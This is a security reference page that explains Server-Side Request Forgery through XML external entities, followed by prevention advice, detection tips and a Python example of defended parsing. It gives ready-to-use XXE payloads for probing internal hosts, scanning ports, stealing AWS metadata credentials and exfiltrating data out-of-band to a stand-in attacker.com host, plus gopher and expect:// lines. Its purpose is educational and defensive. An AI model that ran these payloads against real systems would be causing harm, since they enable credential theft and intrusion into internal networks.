Skip to content
đź”´Critical8.6

SSRF via XXE

Exploiting XXE vulnerabilities to perform Server-Side Request Forgery attacks, accessing internal networks and services.

CWE-918: Server-Side Request Forgery (SSRF)OWASP Top 10:2021 - A10: Server-Side Request Forgery

Overview

Server-Side Request Forgery (SSRF) via XXE allows attackers to make the vulnerable server send HTTP requests to arbitrary destinations. This bypasses network security controls and enables access to:

Internal Network Access:

  • Internal web services (databases, admin panels)
  • Cloud metadata services (AWS, GCP, Azure)
  • Internal APIs not exposed to internet
  • Localhost services (Redis, Memcached, Elasticsearch)

Attack Impact:

  • Access cloud instance credentials
  • Port scanning internal networks
  • Exploit internal services
  • Bypass firewall and network segmentation
  • Read internal documentation/APIs
  • Access admin interfaces

Why XXE Enables SSRF: XML parsers support multiple URI schemes in SYSTEM identifiers:

  • http:// and https:// - HTTP requests
  • file:// - Local file access
  • ftp:// - FTP connections
  • gopher:// - Protocol smuggling
  • jar:// - Java Archive protocol
  • expect:// - Command execution (if enabled)

Basic SSRF Payload

XMLbasic-ssrf.xml⚠️ Vulnerable
1<?xml version="1.0" encoding="UTF-8"?>
2<!DOCTYPE root [
3  <!ENTITY xxe SYSTEM "http://internal-server.local/admin">
4]>
5<root>
6  <data>&xxe;</data>
7</root>
8
9<!-- Server makes HTTP request to http://internal-server.local/admin
10     Response may be displayed in application output -->

AWS Metadata Service Attack

XMLaws-metadata.xml⚠️ Vulnerable
1<?xml version="1.0" encoding="UTF-8"?>
2<!DOCTYPE root [
3  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
4]>
5<root>
6  <data>&xxe;</data>
7</root>
8
9<!-- Returns AWS IAM role name, then fetch credentials: -->
10<!DOCTYPE root [
11  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE-NAME]">
12]>
13<root><data>&xxe;</data></root>
14
15<!-- Returns:
16{
17  "AccessKeyId": "ASIA...",
18  "SecretAccessKey": "...",
19  "Token": "..."
20} -->

Internal Port Scanning

XMLport-scan.xml⚠️ Vulnerable
1<!-- Scan localhost ports -->
2<?xml version="1.0" encoding="UTF-8"?>
3<!DOCTYPE root [
4  <!ENTITY xxe SYSTEM "http://127.0.0.1:80">
5]>
6<root><data>&xxe;</data></root>
7
8<!-- Try different ports to enumerate services: -->
9<!-- http://127.0.0.1:22 - SSH -->
10<!-- http://127.0.0.1:3306 - MySQL -->
11<!-- http://127.0.0.1:6379 - Redis -->
12<!-- http://127.0.0.1:9200 - Elasticsearch -->
13<!-- http://127.0.0.1:8080 - Admin panel -->
14
15<!-- Scan internal network: -->
16<!DOCTYPE root [
17  <!ENTITY xxe SYSTEM "http://192.168.1.1:80">
18]>
19<root><data>&xxe;</data></root>

Blind SSRF Detection

XMLblind-ssrf.xml⚠️ Vulnerable
1<!-- Blind SSRF when output not visible -->
2<?xml version="1.0" encoding="UTF-8"?>
3<!DOCTYPE root [
4  <!ENTITY % remote SYSTEM "http://attacker.com/callback">
5  %remote;
6]>
7<root/>
8
9<!-- Monitor attacker.com access logs for connection -->
10<!-- If connection received, SSRF is possible -->
11
12<!-- Out-of-band SSRF with data exfiltration: -->
13<!-- xxe.dtd on attacker server: -->
14<!ENTITY % internal SYSTEM "http://internal-api.local/secret">
15<!ENTITY % wrapper "<!ENTITY &#x25; send SYSTEM 'http://attacker.com/log?data=%internal;'>">
16%wrapper;
17%send;

Protocol Scheme Exploitation

HTTP/HTTPS: Most common for SSRF, access internal HTTP services:

FTP: Access internal FTP servers:

  • ftp://internal-ftp.local/
  • ftp://192.168.1.50:21/

Gopher (Advanced): Multi-protocol exploitation, can abuse Redis, SMTP, etc:

  • gopher://127.0.0.1:6379/_SET%20key%20value
  • Used to send arbitrary data to TCP services
  • Can exploit unprotected internal services

File (Local Access): Read local files (file disclosure):

  • file:///etc/passwd
  • file:///c:/windows/win.ini

Jar (Java): Java-specific, can trigger secondary SSRF:

Expect (Dangerous): If PHP expect:// wrapper enabled, RCE possible:

  • expect://whoami

Common Internal Targets

Real-World Exploitation Example

XMLreal-world-ssrf.xml⚠️ Vulnerable
1<!-- Step 1: Discover internal services -->
2<?xml version="1.0"?>
3<!DOCTYPE root [<!ENTITY test SYSTEM "http://127.0.0.1:6379">]>
4<root>&test;</root>
5
6<!-- Response might show Redis banner -->
7
8<!-- Step 2: Access cloud metadata -->
9<!DOCTYPE root [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">]>
10<root>&xxe;</root>
11
12<!-- Returns: "web-server-role" -->
13
14<!-- Step 3: Fetch IAM credentials -->
15<!DOCTYPE root [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/web-server-role">]>
16<root>&xxe;</root>
17
18<!-- Returns full AWS credentials:
19{
20  "AccessKeyId": "ASIAXXX...",
21  "SecretAccessKey": "wJalrXXX...",
22  "Token": "IQoJb3XXX...",
23  "Expiration": "2024-01-01T12:00:00Z"
24}
25
26Attacker now has AWS credentials! -->

SSRF Prevention via XXE

Primary Defense - Disable External Entities: Disable all external entity processing in XML parsers (see prevention guides)

Network-Level Controls:

  1. Outbound Filtering: • Block outbound HTTP from application servers • Whitelist only required external hosts • Block private IP ranges (RFC 1918) • Block cloud metadata IPs (169.254.169.254)

  2. Network Segmentation: • Isolate application servers from sensitive internal networks • Use separate VPCs/VLANs • Implement micro-segmentation

  3. IMDSv2 (AWS): • Require token-based metadata service (IMDSv2) • Prevents SSRF to metadata service • aws ec2 modify-instance-metadata-options --http-tokens required

Application-Level:

  1. Input Validation: • Reject DOCTYPE declarations • Reject XML containing http:// in ENTITY definitions • Validate and sanitize all XML input

  2. Monitoring: • Alert on outbound connections from XML parsers • Monitor access to cloud metadata services • Log unusual internal network connections

Detection Techniques

Code Review:

  • XML parsers without external entity restrictions
  • Applications accepting user-supplied XML
  • Missing network egress controls
  • Cloud instances without IMDSv2

Dynamic Testing:

  1. Basic Test: Submit XML with http:// entity pointing to attacker-controlled server Monitor for incoming connection

  2. Port Scan: Try different localhost ports Observe timing differences (open vs closed ports)

  3. Cloud Metadata: Target 169.254.169.254 Look for cloud instance data in response

  4. Internal Service Access: Target common internal IPs/ports Check for service banners or data in response

Network Monitoring:

  • Unexpected outbound HTTP from application servers
  • Connections to private IP ranges
  • Access to cloud metadata IPs
  • Unusual DNS queries

Secure Implementation

Pythonsecure_ssrf_prevention.pyâś“ Secure
1from defusedxml.lxml import fromstring
2import ipaddress
3import socket
4
5class SecureXMLProcessor:
6    
7    # Blocked IP ranges for SSRF prevention
8    BLOCKED_RANGES = [
9        ipaddress.ip_network('127.0.0.0/8'),      # Loopback
10        ipaddress.ip_network('10.0.0.0/8'),       # Private
11        ipaddress.ip_network('172.16.0.0/12'),    # Private
12        ipaddress.ip_network('192.168.0.0/16'),   # Private
13        ipaddress.ip_network('169.254.0.0/16'),   # Link-local/Metadata
14    ]
15    
16    def is_blocked_ip(self, hostname):
17        try:
18            ip = ipaddress.ip_address(socket.gethostbyname(hostname))
19            for blocked in self.BLOCKED_RANGES:
20                if ip in blocked:
21                    return True
22        except:
23            pass
24        return False
25    
26    def parse_xml(self, xml_data):
27        # defusedxml blocks XXE by default
28        tree = fromstring(xml_data)
29        
30        # Additional validation
31        if b'<!DOCTYPE' in xml_data or b'<!ENTITY' in xml_data:
32            raise ValueError("DOCTYPE/ENTITY not allowed")
33        
34        return tree